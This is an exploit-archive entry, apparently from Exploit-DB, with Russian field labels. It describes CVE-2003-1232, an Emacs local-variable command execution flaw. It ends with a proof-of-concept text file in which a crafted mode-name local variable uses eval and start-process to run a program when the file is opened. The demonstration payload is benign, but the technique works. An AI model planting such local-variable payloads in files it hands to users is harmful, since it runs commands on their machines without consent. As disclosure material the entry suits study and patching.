Exploit Emacs 2.1 - Local Variable Arbitrary Command Execution

[Exploiter]

EDB-ID

26492

Проверка EDB

1. Пройдено

Автор

GEORGI GUNINSKI

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

cve-2003-1232

Дата публикации

2002-12-31

source: https://www.securityfocus.com/bid/15375/info

Emacs is susceptible to an arbitrary command execution vulnerability with local variables. This issue is due to insufficient sanitization of user-supplied input.

By modifying a text file to include local variables containing containing shell commands in an 'eval' statement, attackers may cause arbitrary commands to be executed.

This vulnerability allows an attacker to execute arbitrary commands with the privileges of the emacs user. This gives an attacker the ability to gain remote access to computers running the vulnerable software.

/* -*- Mode: text; tab-width:20; Eval: Mode -*- -*- forms -*- */

Emacs better than windoze.

;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) ***
;;; comment-start: ";;; " ***
;;; comment-end:"***" ***
;;; End: ***